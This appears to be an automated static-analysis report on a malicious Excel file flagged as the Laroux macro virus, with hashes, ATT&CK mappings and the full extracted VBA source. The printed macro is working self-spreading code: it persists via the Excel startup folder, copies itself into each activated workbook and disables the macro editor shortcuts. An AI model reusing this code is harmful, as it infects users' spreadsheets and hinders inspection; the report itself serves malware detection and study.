Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 97c1a49a06ef9a94…

MALICIOUS

Office (OLE)

42.1 KB Created: 2012-12-14 10:00:53 Authoring application: Microsoft Excel First seen: 2020-09-04
MD5: 79f7d4900d8f2350993e92f5a70af1c9 SHA-1: af90673de915832a1c1acdb7303382ddfe0fcfaa SHA-256: 97c1a49a06ef9a94bdea9d84bcca286c9abe6fc098180e3c221a3bfcb86a88fd
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is an Excel document containing VBA macros, specifically an Auto_Open macro. This macro attempts to copy itself to the Excel startup folder as 'StartUp.xls' to achieve persistence. It also configures event handlers to maintain its presence. The ClamAV detection 'Doc.Macro.Laroux-5893719-0' further supports its malicious nature.

Heuristics 3

  • ClamAV: Doc.Macro.Laroux-5893719-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Laroux-5893719-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1410 bytes
SHA-256: cadc87c7fc888e5000ecfa798dd98dab5ca2a8bd8f89945ef552bb37b1d0cbcf
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
Application.ScreenUpdating = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub cop()
Attribute cop.VB_ProcData.VB_Invoke_Func = " \n14"
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub
Sub back()
Attribute back.VB_ProcData.VB_Invoke_Func = " \n14"
On Error Resume Next
Application.OnKey "%{F8}", "StartUp.xls!escape"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!cop"
Workbooks.Open Application.StartupPath & "\StartUp.xls"
Application.ScreenUpdating = True
End Sub